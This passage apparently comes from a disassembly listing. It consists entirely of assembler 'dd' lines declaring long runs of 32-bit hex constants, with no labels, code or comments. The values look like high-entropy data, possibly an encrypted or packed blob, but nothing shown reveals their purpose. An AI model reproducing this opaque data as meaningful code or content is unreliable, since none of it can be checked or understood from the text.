0C71FA447h, 0B2D3B8A5h, 1A22FBA9h dd 1BD6B6DCh, 0D3C4CCA5h, 760AC111h, 0D4432531h, 3421E905h dd 0D03F291Ah, 0A6EB8694h, 7BB76788h, 0F6298880h, 2DE2E612h dd 597F06EBh, 0A5DB2E08h, 1849D9CDh, 6365538h, 0B7AB165h dd 0F9E54FAh, 0E92C3252h, 1C4D8E9Bh, 0C8F90B93h, 0B5159A78h dd 78B0BBC5h, 8FFBAF2Ch, 2EF30CE6h, 0A6C7F174h, 381C4839h dd 0C5016ED2h, 9B5F8AA9h, 8408B62Fh, 0C5808DB2h, 26FE5DCFh dd 6A68DCF6h, 653C0695h, 951EA8B1h, 711C7838h, 0C7F139DBh dd 0DDA6489Ch, 30EE47E9h, 8D86635h, 0B0BEF3CEh, 65A3057h dd 0A2C50B8Ch, 836F93D6h, 0FC7EBE01h, 0D4CD6235h, 0DF10AD60h dd 6E93BF1Ch, 55B409BDh, 0CCE128B0h, 3E62FAEFh, 6BF16A78h dd 1FAAD351h, 2ABE2B86h, 4E565A38h, 0FC1872BAh, 360B2160h dd 0D877D643h, 8A1D39DCh, 28EBDD73h, 0E69741C3h, 0FAF6CE57h dd 0F0981CDBh, 0CC9F377Bh, 4F72C868h, 747DE20Dh, 7BAB0BF5h dd 2E4614C4h, 1665848Fh, 519CB0B0h, 77A56507h, 0E049417Dh dd 3060FD7Fh, 0E7C7AA9h dd 0A563C122h, 1FAA00B4h, 0DDCDC990h, 0F97812BFh, 48E88B6Ah dd 96080EC5h, 0E7F151E2h, 0FDA00386h, 9566706Dh, 0BB2B213Bh dd 623D7E6Eh, 81F202F3h, 0BEC4B90Eh, 3F05EE04h, 3951968Ah dd 8E212FA4h, 7FE59A2Dh, 49307EAh, 0D0D10124h, 0B46199BBh dd 0D70E825Ch, 7B9BD3F3h, 0CE206D5Dh, 0DE10C06Dh, 1028D0E5h dd 19A3E02Eh, 0B600AE78h, 0AC9B3A17h, 40A0F4CFh, 2ED5A9C7h dd 30654D12h, 5E1786F9h, 1B3945B8h, 5DA40D20h, 0AB5FB7B1h dd 0D3466F2Fh, 0BF38B28Fh, 0FBA1ADD1h, 546BD89Ah, 3472ACD0h dd 0CFD451F8h, 328B05FFh, 0F122EB97h, 0DDE5DED2h, 2E5DD568h dd 638A0792h, 4ED0ECEDh, 7C8CA1B8h, 2132C02Bh, 2B1120E4h dd 8D417CFEh, 0AD48B0EAh, 0C29C2728h, 0F125997Fh, 0BDECEE51h dd 7FAD198Eh, 0B3C0BF4Bh, 0BBFD06C9h, 9B25000Ch, 3ABA5924h dd 0C8D5400Ah, 124FFB1Dh, 2A81CBAEh, 0C9BCD147h, 9A9A14DBh dd 0EAE13FD4h, 0B005B369h, 868C6415h, 6C61A47Bh, 3B802DD2h dd 226F8729h, 0CAA44727h, 27B4EC4Ah, 68F1D2F8h, 700596ADh dd 47E76DD2h, 3F8E5772h, 10DB546Eh, 0C70BCA3Bh, 0EC1B3758h dd 0C46506ABh, 5A6A9F8Dh, 0CCE68ED8h, 0B4EB487Eh, 0D7A5D68Ah dd 225B3208h, 700C697h, 1EB0D770h, 179E445Ah, 0C79526F1h dd 0A92BAE06h, 0A6988107h, 82FF2484h, 77CBD845h, 5ABF2381h dd 6F0E73B0h, 8E67F533h, 1628CEE9h, 32B7449Ah, 0DC71AEF0h dd 0F9B1B365h, 665AAF63h, 75535BFBh, 576C4419h, 5C617C3Bh dd 4B66BFD6h, 0CD87B8ABh, 576FE2D0h, 6B3F1327h, 5780581h dd 5734CE6Dh, 0A28ABD73h, 18EF5606h, 0C2D6390Eh, 906BEE2Dh dd 22E0DEh, 0D9375C47h, 0E0100C95h, 7882E985h, 7A3650D4h dd 941A53F2h, 5039270Bh, 14AF1CE6h, 953DC5C1h, 983F1E14h dd 5F68C663h, 4770B46Ah, 0C4435B60h, 1DF153FCh, 60638D3Bh dd 0FA0EA34h, 1E128536h, 87BED0B0h, 5F4A2657h, 1D530A51h dd 0E1A2019Ch, 8218F5CEh, 0FE9A7F7Ah, 0FFFA3D3Fh, 1F95976Bh dd 6CB164D5h, 1721B3Ch, 8619C64Ah, 426D6FCFh, 10C0959Bh dd 0F39B1620h, 0D73E901h, 86207BC6h, 0BF332B7Dh, 502471AAh dd 0AD0EC989h, 0DB29F14Ah, 83DAC2CBh, 974D9C63h, 6D7C51ADh dd 0AE6EF356h, 0E5926D99h, 5CCC978Ch, 123A3F46h, 263697FEh dd 7EA074EDh, 61D1D840h, 23304B03h, 8DDA156Bh, 489287B5h dd 0BC46A805h, 1D52DEDBh, 7971D3BBh, 0E6C6CBA7h, 0BA78939h dd 769F16D9h, 837BA62Fh, 12A66DBFh, 38756BF4h, 1640F1AFh dd 1A83F5A8h, 6567F384h, 8C5177E4h, 0B4F0C479h, 8F33BC73h dd 0BF7AC065h, 0C430ECEEh, 0AAB33AA5h, 49C306F0h, 13D2962Fh dd 9E121387h, 31D3F9BFh, 0F19F3781h, 0B8ECB388h, 465038AEh dd 5CF6D344h, 0D0A5D474h, 8452157Eh, 0A76B938Ch, 0A64B6DAh dd 60A10C1Bh, 993ACECh, 4C11735Eh, 0A320DE2Bh, 6A95696Bh dd 0B7DD0838h, 0C48D8119h, 1DD2753Ch, 3DE4E2B2h, 0A20A3B49h dd 66E6562Eh, 0C3E8E511h, 0AE256473h, 1627601Fh, 0DD8FF2A0h dd 19083881h, 4ADD0131h, 27CAF619h, 0C5C66098h, 0DD074F86h dd 0EBAD1D58h, 54F9A659h, 0A303CDCEh, 6918DCC7h, 0CEFDBD6Ah dd 0A7889140h, 424A9D5Ah, 23F407F3h, 40220EB7h, 9388EC43h dd 1D005047h, 0B461104Eh, 56F980A3h, 199E543Ch, 905E56A4h dd 427BADEBh, 0DA3DC412h, 0F9541325h, 0C65A25Ah, 0F73521E4h dd 67EB5B7h, 0F73C562Dh, 0F941100Fh, 0B5EACE2Ch, 7356A5C7h dd 911454C0h, 86636D6Eh, 0B858458Fh, 534211Fh, 0A6D4AD22h dd 4571B98Ch, 3CED8581h, 0DC59F1C9h, 7359489Bh, 0E090647Dh dd 6A852A57h, 863CDF9Dh, 0BA17B830h, 54F21BE5h, 5F9A5CB0h dd 8529A4B1h, 4C8FB953h, 3406F8F6h, 0DE519841h, 5BDEB7FBh dd 3D89E924h, 455D8500h, 26474060h, 75B4B3A8h, 0C0A298Fh dd 0C9CC2EFh, 430E4B2Eh, 0DA6ABB97h, 7F1161D2h, 0DBA61696h dd 0F1668816h, 0DEA424FBh, 53D2EADCh, 0C5EF096Bh, 38E67E9Ah dd 833D7D5Dh, 0F59EE031h, 0C85E68C9h, 39A88B87h, 0A4D40854h dd 5A5B41DCh, 935B7C74h, 7626A469h, 93381A9Ah, 0B6233B0Eh dd 416D746Ch, 5E236751h, 148C2602h, 7FCA66A6h, 66159E37h dd 0EF526EA0h, 4BB35562h, 3D9C9709h, 8E19381Ah, 0E0481C20h dd 13279278h, 548B7682h, 7DD5FAC1h, 0DB2533DCh, 0D129BC5Eh dd 0C45222FEh, 69650E7Dh, 7A6DD452h, 0D712D671h, 89B1C9A0h dd 61993507h, 3F6F62B2h, 12AE3F18h, 7D33AB66h, 9DEEF380h dd 67BD138Bh, 0EC842EC7h, 41BF5170h, 0A2733DD3h, 3C607C59h dd 0D7E80EF0h, 0B682CE51h, 5056A6E1h, 7E0EC53Dh, 0E9C02A73h dd 0BF89E985h, 0BD4E1E4Ah, 0E5154B6Eh, 1AB6F2ECh, 78DC50B6h dd 1A1C02ABh, 0E54F6C4Bh, 24F0F053h, 0F2EE5A28h, 354A0CD2h dd 20664091h, 0C919D8BAh, 8793F7A3h, 80C7677Dh, 0BFD9A0A2h dd 0F8E8A98Fh, 1F26085h, 0C79BA644h, 37620419h, 0E983A476h dd 0F9BD793Dh, 45E9E016h, 9809338Eh, 0D9146B51h, 0D35A417Ah dd 0C42A9962h, 5F8DD822h, 0C524E8BCh, 0E42CD94Ah, 56E17C7Dh dd 1C22B3E8h, 16970683h, 0CDC93AC4h, 466A672Eh, 553242B8h dd 40824BB0h, 86EC70D3h, 1B291324h, 0B9365F4Fh, 345FAB2h dd 0A63E51F0h, 5105F5E0h, 30C6420Ah, 24C1DB1Bh, 0F4C00893h dd 780167E7h, 0AAE6A081h, 0BF12D63Fh, 3FFD20FFh, 19E0658h dd 90AAB91h, 5B520C00h, 0A59D2D22h, 0FBB6499Fh, 69511894h dd 0B3487CCBh, 425C4B8Ch, 0A8D2610Bh, 72985AE4h, 0DAA6AB47h dd 0B46DF9E6h, 5681EC87h, 1C327BC5h, 0C69EE2B9h, 5DCD4CC9h dd 76685C2Ch, 15335939h, 9882C970h, 57ECB233h, 0AD29F394h dd 8836AFF7h, 78C5029Eh, 787EADE2h, 0CE5F7E9h, 0AD6430Eh dd 8549DB9Dh, 748408DCh, 86367C4h, 22F7A090h, 621A5637h dd 61F8E0FBh, 309C665Eh, 108B9B96h, 0AF129407h, 0B3FDE125h dd 0BDA6AB98h, 0A9D9E993h, 0BA8C844Ch, 0A7BEB7CBh, 0D2E3632Ch dd 9990DBF3h, 0DC3A6BF0h, 5FA819A1h, 50269CA8h, 0F783C3D6h dd 0C046BEB0h, 0B6716ECDh, 0F0BE4D2Ah, 9E8C51BEh, 0DE574537h dd 8C53F414h, 0E1FC5283h, 8589FC60h, 0B910AAD9h, 21C1F905h dd 40B0A1C6h, 5C89E835h, 3E5C8C10h, 0AD13A21Eh, 53A63025h dd 2F120A20h, 1DAB01CFh, 21104A57h, 9E20B1A4h, 1B5E713Bh dd 73ADE3FDh, 30285B88h, 0DC79F062h, 0B86C4B3Eh, 32DBD6B6h dd 7BE31F66h, 55F6CF96h, 19878DDEh, 0C6BFC6E2h, 12EA4E28h dd 0A4C7B1ECh, 77935430h, 5ACE741Fh, 0BB358536h, 245CBB87h dd 0AE9AAB44h, 0FCDFBE9Ah, 451636AEh, 351E306Eh, 9E98CCD2h dd 83183260h, 13443529h, 0A972C3D4h, 5728D93Ch, 0D2EC1494h dd 0E7CA6E58h, 0B2BA5202h, 87A43B37h, 31EC1978h, 0C8CDC610h dd 7B31F38Bh, 0AA56D028h, 7A283374h, 976A33CCh, 1818C44Ch dd 614FF070h, 17421DC9h, 0C0377C94h, 3E04F92Eh, 6F26954Bh dd 64474D25h, 38468C66h, 0A3825776h, 8CA848A6h, 0ABCBCC60h dd 0DFFB9721h, 44A19C6h, 3BFDB575h, 0CEDE964Ch, 0D09E9A96h dd 4AB519C4h, 2BAD21B5h, 0A919459Eh, 0EACC8C1Bh, 0B9261844h dd 74DD3BE5h, 196D6619h, 9992D683h, 228E96CEh, 4A6D96Ch dd 5A6AEA1Ch, 0EE993EEFh, 0C3043739h, 4357B278h, 0AAA0802Dh dd 0E9BEEB31h, 0B3AD28FFh, 1DDDAF7Dh, 0B49AA4E6h, 73D447E0h dd 7EB21B6Bh, 0C37066E1h, 0C21AB5B2h, 6357C8D1h, 4F08F551h dd 5319E7E3h, 0A329B4A7h dd 3303FDABh, 22C19FC4h, 44740115h, 486B45E3h, 6449FC53h dd 0F8D74EDDh, 8A1B6A02h, 0E2FE77A9h, 6E710EF4h, 1F0F40CFh dd 3FC187A0h, 0BBD8A037h, 5055AF90h, 0B9537D47h, 12170F28h dd 11B2C0FAh, 4C046D40h, 0D2B2E182h, 8AB01E95h, 811D979Fh dd 0DB972E08h, 0E9B18813h, 0B487B37h, 42DDCF03h, 0EB0E10B1h dd 0A2234E50h, 22B84C80h, 0D1BEE638h, 2BE29E14h, 8D319BFh dd 5F054A50h, 301F6B9Eh, 70850447h, 389C748Eh, 4D9541F1h dd 0EBFBD94Dh, 0B8003668h, 86F33DF0h, 1094688h, 3247796Ch dd 2BB59DD2h, 12D29B60h, 26F0F96Bh, 704080D2h, 6208E426h dd 8EB5D170h, 0CF80BBC7h, 3FBDFF1h, 7E20AFC5h, 0DA047CCh dd 3C098DB6h, 9CD99B0Eh, 44A61C0h, 0C800E937h, 3F90CED9h dd 5D401388h, 69B87B74h, 0E0C47BBEh, 18551B3h, 6137A281h dd 0E23E3C58h, 26F64E9Dh, 673228C1h, 0A106CA56h, 0BC195863h dd 0D55A5660h, 56B25A7Ah, 6B4A4788h, 0FDD87286h, 0A32F1243h dd 0B83F5FB1h, 63D07A80h, 7E81198h, 28B4D585h, 3DE7D245h dd 34C99369h, 87CC2CEBh, 1B977592h, 131ABF6h, 582352C9h dd 6FFC6249h, 96A50Eh, 239F7B57h, 1A8464BEh, 0C1AC1978h dd 2F97CFDBh, 2BD95BEBh, 51645F31h, 0E1AA5B38h, 2AFD699Ch dd 6081DEA2h, 0F0AAE909h, 0FA7FDA9Ch, 2A96FC7Bh, 7923F376h dd 200EA6E1h, 0FD9D6A8Ch, 75184F53h, 0E6D35EC3h, 335AC5C4h dd 0C9D0B5A4h, 0B92BF2D2h, 233DAC79h, 0A55282A4h, 0E428ED76h dd 3814178Eh, 0B4563340h, 7911E3E7h, 0A9F014A8h, 0AA8169B3h dd 58AEA9E6h, 7C66D3C1h, 5D9B22CDh, 1B870548h, 27172B70h dd 9F404CA9h, 828E0D6Fh, 8F26D9DCh, 9A01D0ECh, 8B898BEh dd 559CB9FBh, 70EB9A7Dh, 0FB9C2612h, 462C95F1h, 21B8F8B0h dd 9F376D41h, 0A783BB68h, 7CC68235h, 0E8317C3Bh, 0B3DE44D5h dd 505C55D8h, 9DFF4393h, 72E7F7D1h, 682651F6h, 8E34FC58h dd 7DC62ADBh, 0E37D39D5h, 2EE54124h, 4B5698DFh, 9A0934F6h dd 28E4FEFFh, 0E6939AC3h, 49385FC0h, 48B657AFh, 9A2AE1F7h dd 7B2766E4h, 19DF1B09h, 0B06C54F1h, 948801DFh, 39A9DB64h dd 75545171h, 57CFD8AEh, 3A9D192Bh, 81F3CAC8h, 9D880E93h dd 2EBE8150h, 0ADE9EE25h, 0E1BB9320h, 0B837C51h, 3F7E4042h dd 4AC5AF6Dh, 2FCC9CD3h, 0E1DA8993h, 117E10Ch, 0F70A1658h dd 9EA011C8h, 21D3ECACh, 165B825Ah, 158B4565h, 0A9DA538Fh dd 0D4433978h, 612E4CD3h, 85D96A1Eh, 80B2FC44h, 0ED98C471h dd 3FE7FC8Eh, 0FCDAB7A6h, 4B274C9Dh, 9CC70C2Eh, 4B785EDAh dd 0F97A02A6h, 3BD8DFA0h, 5464D5FEh, 919E1D77h, 0BDD7167h dd 51DBF057h, 0DAC41AEFh, 0D3988323h, 0F5A6FC59h, 8E6275ADh dd 0B63C2819h, 54ABD6C2h, 5512C78Dh, 25090E03h, 0C798E15Bh dd 3A9689C8h, 0F32ABD96h, 9E70C48Bh, 849A02ADh, 404FE36Ah dd 2C796705h, 823B52A7h, 0D18BA704h, 7AE390F9h, 860F0A63h dd 65CE2Eh, 28C9588Ch, 69C7867Ch, 0D51AAD4Fh, 0F9F76779h dd 7F3F3848h, 92846475h, 0A87C4465h, 0F05F9CB1h, 58251676h dd 8C7E1DB3h, 7ACD1189h, 853A064h, 1E8052D6h, 0D5FAC72Fh dd 96B7BA5Bh, 0FEEAB6ACh, 6FF9AB99h, 0D149F602h, 0F723B76Dh dd 7601D633h, 8F046D63h, 77532BC4h, 0BD0D8C94h, 0DF413C0Ah dd 45021EEDh, 0C013814Ah, 8C1F3615h, 0D22C1A2Fh, 99826B40h dd 36E796D7h, 0C80D6B70h, 0C1649DA7h, 294990C8h, 987029Ah dd 0A57A0B60h, 21E7D442h, 7B3783C5h, 7080D8B7h, 0DB7E8684h dd 68DE5D81h, 8DE556CEh, 465E1DFFh, 0A1FD31ABh, 0CACB9075h dd 5F5C6ADEh, 0D65CFB2Bh, 0B600785Dh, 2F33F7ABh, 27E52B1Eh dd 5D7F1645h, 9924674Ah, 71C9E24h, 1685E974h, 3134DC3h dd 276C9F93h, 0A451978Dh, 0D38AEA2Ah, 0BBD757ADh, 1ABDFD22h dd 499DD998h, 0EF5A2D8Fh, 0AD5B9634h, 0BCDB48C1h, 54DAAD9Fh dd 0D29CA824h, 0DF38BE90h, 7EAF6965h, 6738454Ch, 7882EB46h dd 0D0574CF6h, 0AC390A4h, 0E10BB691h, 11DA4146h, 104BF73Bh dd 0E8E2264Dh, 814E7AC2h, 9D1B7D29h, 0D7BD1184h, 579193A6h dd 0DF7BE106h, 3FC141E4h, 296D41E8h, 433D2DF0h, 9C1859C9h dd 30006BC6h, 50D26E3Ah, 0EFCC6F3Fh, 39E10F77h, 76524607h dd 0EAEBE597h, 512B442Fh, 85C29D1Ah, 72BFEFCEh, 8C4C9514h dd 0ED52A851h, 1C9EBD57h, 8EFEC000h, 9D29EABEh, 3FA7BF6Eh dd 0A4BDCE49h, 78C0CCC0h, 0B1B63E31h, 5333CB43h, 0FE3D6C6h dd 1C3F0B51h, 65A969F4h, 4A03D616h, 0CA1D1E5Eh, 3D0D45DEh dd 401FDF4Ch, 10A716AAh, 0E4711A92h, 3BCBAC1Eh, 0AF7AAC23h dd 544FB05Ah, 0A4503ADh, 0C036F760h, 0BE4DB4F5h, 97B91FCCh dd 9E1EFC9Eh, 31D706E3h, 0BE5C96F1h, 0E44207CCh, 7BA64BACh dd 6C4AB56Eh, 0BFDE10D7h, 8B9FCA6Fh, 0BE416B7h, 7151ECF5h dd 5332D6A3h, 8CE78C6Ah, 0E21BCA72h, 99C96165h, 0AE64C4B3h dd 0EF164319h, 72B36B5Ch, 0FC27C173h, 0BB9263E5h, 1B063D9Eh dd 0DFAF58ABh, 3949F73Ch, 72A5377h, 0D193D140h, 960D9C29h dd 9C4B50F9h, 6A4FA49Eh, 298ACF19h, 5830E4E2h, 9C707EEAh dd 0C3661930h, 5F7A21EAh, 33FEF3B1h, 49779AE8h, 1CBD97CDh dd 268A667Bh, 14CBEC4Dh, 597B4D18h, 0C2925D83h, 63BF4DA7h dd 7BF5C4A9h, 1A49733Ah, 0F4FFBE1Ah, 0B1C694E9h, 1185713Bh dd 7B6976B6h, 5CACBB96h, 0DDC0A3F9h, 0C720573Bh, 0CDD0CEF3h dd 40755755h, 0B1BE0C0Bh, 0A37F1DF3h, 6DCA2517h, 42F1493Ah dd 6F0A55FBh, 3005E34Dh, 0A110BBC9h, 29875B48h, 20CFC149h dd 22035900h, 0B95B0E2Dh, 0D465A8F9h, 0FCD0D173h, 6BB41E03h dd 14FF8570h, 0FAC544F0h, 90E6D753h, 0E3BA6333h, 0D40DD1F0h dd 93F6C4DEh, 8C42A1A8h, 0B5476F49h, 270B62C0h, 0A63E8E52h dd 19FAFEF2h, 39F95030h, 301206FCh, 84CFDBF3h, 0B64F4412h dd 0D057E0Eh, 5B11829Bh, 6900B342h, 4458AD51h, 78D59080h dd 478D2138h, 8433174Ch, 40BCA77Ah, 0EFB14DECh, 18D2AA09h dd 97370A8Ah, 553138D1h, 29C66649h, 0D0C84256h, 0A9AD4B82h dd 1356F083h, 0DC66D345h, 90C33F3Eh, 8FE24AC3h, 798709B9h dd 8FC85995h, 0EF6C147Dh, 0CB86F66Dh, 70AE9F65h, 0D164AAD1h dd 6E19C717h, 0F74F6319h, 81067B71h, 0FC3DA97Ah, 0D5F0FD19h dd 97FED95Dh, 8EC7C6E9h, 80D9BEA3h, 534620Fh, 4837C36Fh dd 0F5C11543h, 0A089CC89h, 23EB033Ch, 9224064Ah, 4BB52FFDh dd 733501ABh, 5D108C2Eh, 36161B9Dh, 0E681B346h, 719EA20Eh dd 6515A4B1h, 0F3BB38ADh, 0A861CB38h, 0D0E34F88h, 505A2687h dd 621830A9h, 2237995Ah, 9D1191D9h, 0E6D0705Fh, 0D050C07Ch dd 0F211846Dh, 10B12155h, 8D8685D1h, 0E7FAC5F6h, 9212BC2h dd 0B02002C3h, 7BC9A935h, 26F98F4Fh, 575A6DE0h, 9498E927h dd 0F54C8C1h, 4326148Ch, 7F497FF2h, 0F14DFF71h, 22491590h dd 0E19502B0h, 0D3EDAC50h, 0F729C691h, 9F066CC2h, 5510E855h dd 0F6044B67h, 0F85FDEE0h, 993506BAh, 95927AADh, 397823B6h dd 417F3BCBh, 0BB474BFDh, 78B471E7h, 57361B8Ch, 0E289D218h dd 0F48451BCh, 0D9B2D0CBh, 79808C5Ah, 52F9A57Ah, 2CA343DAh dd 5668A6F3h, 50981844h, 84049A0Ch, 0E1D465D6h, 7DE0ED7Eh dd 0F1DEDCD8h, 275D31ABh, 0D7F5A483h, 5696A6ADh, 0E291A6E2h dd 2A711BF9h, 0E0DFE7D4h, 0B04BF59Eh, 5A4828C3h, 7A9E8558h dd 0D15FCFE7h, 740CB8B9h dd 0C79263A8h, 6018CAC5h, 0FD509094h, 0B79AA2A3h, 8A708433h dd 18FBE90Dh, 7285A01Ah, 92868455h, 3D06EC8Fh, 6E1128C3h dd 0CD58B3F3h, 0E8422F7h, 41267449h, 0EB30593Ah, 376F0113h dd 40DE87DFh, 5B4F08CEh, 86D91249h, 606221F0h, 0BC37CB69h dd 92634FCFh, 0B70B7A2Ch, 9FEA8044h, 0A83304Ah, 5696EDD5h dd 7274B046h, 0A35EB11Bh, 0DF1B5F8Ch, 0D9B88383h, 101F5311h dd 0D087A5FAh, 0B7F88FFAh, 693079E0h, 0EB21C9D8h, 3FCC1226h dd 562F625Ah, 9B97E49Fh, 10465937h, 7EACF837h, 809A285Fh dd 71033E7Bh, 83864134h, 510D1F8Dh, 8F57445h, 9326D191h dd 0D5288A5Bh, 0C26BD65Ah, 6F4C6BCAh, 0BB1DFF90h, 67299782h dd 0CF62E2EDh, 0FAAE28D1h, 0B3B73FD8h, 6A94282h, 465B9C7Fh dd 6EDBB267h, 0C68B2CDFh, 0B862D0CBh, 27D9815Dh, 13CEC75Ah dd 8889CF65h, 93BFF1F7h, 0EECF740Ch, 4E24677Dh, 56A68DAFh dd 5F973FFBh, 69E9E937h, 0CD3D21D2h, 2D2EC65Bh, 0CB82C9D9h dd 6C713084h, 92B4C66h, 3ADB8857h, 0A13B9A3Eh, 60DB7408h dd 936A4683h, 5493477Eh, 430FCEECh, 1566751Dh, 0D3C53C14h dd 12C957F3h, 251C3CBBh, 0B243B439h, 0C52682CDh, 0A5FBE8A1h dd 9D4FA847h, 0CD6F91h, 4D1244D4h, 766F6826h, 0E1D0F367h dd 2309267h, 21F24FB7h, 139C0BAFh, 572097D2h, 0CF0AC722h dd 0CD133C07h, 207219Bh, 25F6DECh, 4C35C000h, 7C0B0D65h dd 76B9D014h, 6FDF44FAh, 0D9977715h, 523C6D2Eh, 0E521BB3h dd 0B4FFD290h, 7BF950F3h, 15DB50AEh, 174BCC44h, 63D20561h dd 0A4D013DFh, 0A120EF5h, 76F4CC43h, 370A7003h, 0B95C96D5h dd 0D9A313FFh, 0A03CA018h, 1C6E0C0Bh, 0C37D39B3h, 0AD4A6FC5h dd 67B343AEh, 0E9C6E5A3h, 0E079889h, 3FF7C804h, 929E4916h dd 16A1B43Eh, 0EF4A5790h, 0FD72F4FEh, 9A1745B7h, 0C6575BD6h dd 0AE31DB0Dh, 6F0906E7h, 7E38D2D5h, 0E21FC21Ah, 7B7B7A5h dd 0B30D8E96h, 1FCA6B9Fh, 0BCA3EA82h, 779F4CFAh, 97CC52AAh dd 0D6424D4Ah, 825645E2h, 0B492339Eh, 82731ED5h, 0BAE44453h dd 0E902B40Bh, 0A85970D1h, 0D02160F9h, 0AC7D9B97h, 9E0E90C8h dd 826DFB52h, 0CC28EF5h, 0D7F7B316h, 31E41DEFh, 1A1564ABh dd 35EF4A15h, 199A881Eh, 0D42454BAh, 0E8B27D6h, 0ECD24CD1h dd 13A799A4h, 8A0FB9DFh, 2D2A09h, 0DE1FFE61h, 0A7BFD692h dd 0F65A403Dh, 8DD6F4B2h, 0F81D2E01h, 7D42BB58h, 0D6702A5h dd 2E3DB8D5h, 2C7EA4A1h, 801AB64Fh, 194A8664h, 204D159h dd 0D9B5EE32h, 2801BCE4h, 0A0B3C83Ch, 0F3B1D2FEh, 629DB1F2h dd 0F5A87312h, 2591E48Eh, 54D84D75h, 17E5D5E2h, 416A1081h dd 7A5D4F28h, 78F1CC4Ch, 8452E6A2h, 4073DE29h, 6F98F995h dd 58DEF05Dh, 0B7CD2994h, 0A5322A42h, 51C8EF70h, 14C88EF2h dd 4BAEADCCh, 0EC5681A8h, 94E6ECD0h, 3C032378h, 21C24324h dd 26F70CB6h, 1B3047EEh, 0A5201B30h, 70E8F60Fh, 0A5DD9EB4h dd 0A8AF2AC9h, 59B58763h, 0FDFD431Fh, 9DDD6B6Eh, 7BA62179h dd 9706B918h, 7758075Dh, 7E8A29E9h, 7920C723h, 0F100DFCFh dd 0A6381D0Fh, 1ADC7C33h, 6E0A7911h, 0CD2C5560h, 5F44AD28h dd 0A2C4FC6Ch, 7E5D6F73h, 537CB8F2h, 3B7C022Fh, 0F8EABC6Fh dd 0F0D52462h, 0A57EE57Bh, 13E99B08h, 0F80B1B46h, 0A2F7A763h dd 0A70B81C1h, 634795C8h, 7356404h, 28916C57h, 3D908D1Ch dd 0B5303D1Dh, 47C07D3Dh, 0BB995C0Dh, 5132BF8Dh, 0F020D8ACh dd 3FC2957h, 3A968395h, 0B69F6992h, 47046F18h, 0E6EC1DC7h dd 0BD37D130h, 930954C6h, 353C5E8Bh, 0D25E5AF5h, 0B3CB69FEh dd 0DB0CDED3h, 0D6746911h, 0E95D1A80h, 1C011C79h, 629A8377h dd 0A2EB1EE1h, 3CA33E8Ch, 96F16553h, 366CC5C3h, 0DB708B44h dd 25CF9364h, 0B7126372h, 2E3AE7C9h, 0A8CF26CCh, 0E569BF82h dd 39748098h, 0B407FFFFh, 0F979842Ch, 0E9E43985h, 0A8B7E41h dd 88ABACAFh, 0E464503Dh, 8999E59Fh, 0F187E5B1h, 5417D8BCh dd 56C0B493h, 6F4EF182h, 0F08523D6h, 0BD51ADE9h, 84209A30h dd 8BC8B8B8h, 178D9ADCh, 69692642h, 8D6515D9h, 0FDD5B8A4h dd 29C5CD57h, 79B86BFCh, 2059EAA4h, 7D7BC8AAh, 0B52D9E44h dd 86DA2654h, 82A67983h, 81D26B83h, 5241FC5h, 753DC5FEh dd 1C52B7E3h, 0B0A8F709h, 625424DDh, 2B629D9h, 22A1EF3Bh dd 0FD381212h, 9F3D6886h, 0C37CA648h, 86D9D38Ah, 384FA328h dd 0A858C55Eh, 0CFA24B0Fh, 0E097FCAAh, 3453556Eh, 0C21375DCh dd 0A49686ECh, 1FC531BEh, 4D79EE7Bh, 74A5303Dh, 0F9F5F1F2h dd 44D0FF61h, 2032D348h, 3FF87BE5h, 8FB13105h, 0AE3AB6F7h dd 0B4FE1A10h, 49CAF6A9h, 938B8AE6h, 1CEE2FBAh, 9364EAFh dd 56360C4Fh, 9CE4D2BBh, 83D63B05h, 0B02D30A6h, 613545E6h dd 48669A34h, 13A93771h, 447CFEF7h, 567F9AA8h, 0DFDE5F73h dd 0A2C95707h, 6B87616Ah, 19DD267Fh, 76A03B9Fh, 3B36C462h dd 0D0E3C94Ah, 0D7CBB7F2h, 0AF8B67E7h, 9373413Bh, 0BED63Dh dd 5578AC1Ah, 4844B3E5h, 1C885E72h, 846F03CFh, 8DEE13A2h dd 2BA6052Ah, 1F40DF1Bh, 0EAFC5119h, 0CFEBD52Dh, 21FB1C20h dd 5136E755h, 1F2AA51Ch, 5280FA76h, 0DFF22857h, 6F6BC08Fh dd 893B7263h, 77AA6708h, 9B130A87h, 0E58E7FC8h, 0DFA15ADBh dd 0FE6CCBAh, 0ADAF47Ah, 252CFC83h, 6A7637ACh, 81558C98h dd 0FC3CEC28h, 7AD32ED5h, 7174BAA5h, 67820141h, 0F7AF231Eh dd 27616297h, 0DAA7C507h, 4E7C24F7h, 0DEC17F2Fh, 0D7493853h dd 0E6CFB2E1h, 9C5EC829h, 0A27FE96Fh, 42FCADFDh, 0CCAA6836h dd 7EF4D196h, 7A6E9E6Dh, 0F571A477h, 0AACF058Dh, 991AABEh dd 0CB7A8073h, 52AF14A1h, 9209A48Fh, 0F51C8C0Dh, 0DACBFD01h dd 0C6538507h, 6F173938h, 5631FE0Bh, 0AEC76C82h, 971AB02Fh dd 0B1711596h, 95C81DB5h, 69FDA4A2h, 0B1F38A90h, 13C56C83h dd 765A6A56h, 7E7308A9h, 7AD77450h, 7CF0CFE8h, 0FF61A744h dd 85573996h, 630E18BFh, 332A2153h, 474F8010h, 0B4F74D83h dd 49387BF7h, 0C0088333h, 0E3423A18h, 0BBB668AEh, 94CC5E96h dd 3A99663Dh, 0C1CE9806h, 176F189Fh, 4CB85813h, 9B1C0651h dd 7E9EDD21h, 188AD58Bh, 27B31142h, 7E87EF1Eh, 5E78151Ch dd 22E31B35h, 0C9088AE8h, 10680E79h, 244C9F06h, 31B8665Bh dd 592EA3Ch, 0C5D5DC39h, 0AD52B27Bh, 68F7E4BBh, 71158659h dd 0F05236ECh, 22D123C2h, 648FFBD9h, 72B3FB9Ch, 0BB7C51C2h dd 0B10B8D8h, 0D6E2D1A7h, 782F39D9h, 0D98D2238h, 67006A9Dh dd 0FDD740E8h, 0B7DCCAB1h, 8A11B02Ah, 980B7311h, 0B28D6F18h dd 0FE8962D4h, 0C0149DBEh, 0CA021F92h, 4D4F3772h, 0BC9461EEh dd 0C83657A4h, 85A04931h, 303F3927h, 0C0BE9BE1h, 9BBF06FDh dd 0E6F11340h, 0D06E2074h, 140DCB2Fh, 4E604FB0h, 0E175FA3Fh dd 0AEA405Dh, 400CD076h, 39D69DD7h, 6694884Fh, 0E0EEAD1Bh dd 0C1B3519Ah, 0E0F48672h, 0E0D55260h, 0E310A2A2h, 631E0F6Bh dd 0DB05A6C1h, 0E6DCA931h, 3E72A3D2h, 576BBA5Ch, 9BC808E0h dd 90172F34h, 3EBB4D36h, 208E73DFh, 0A109153Bh, 5B8353D4h dd 850F915Dh, 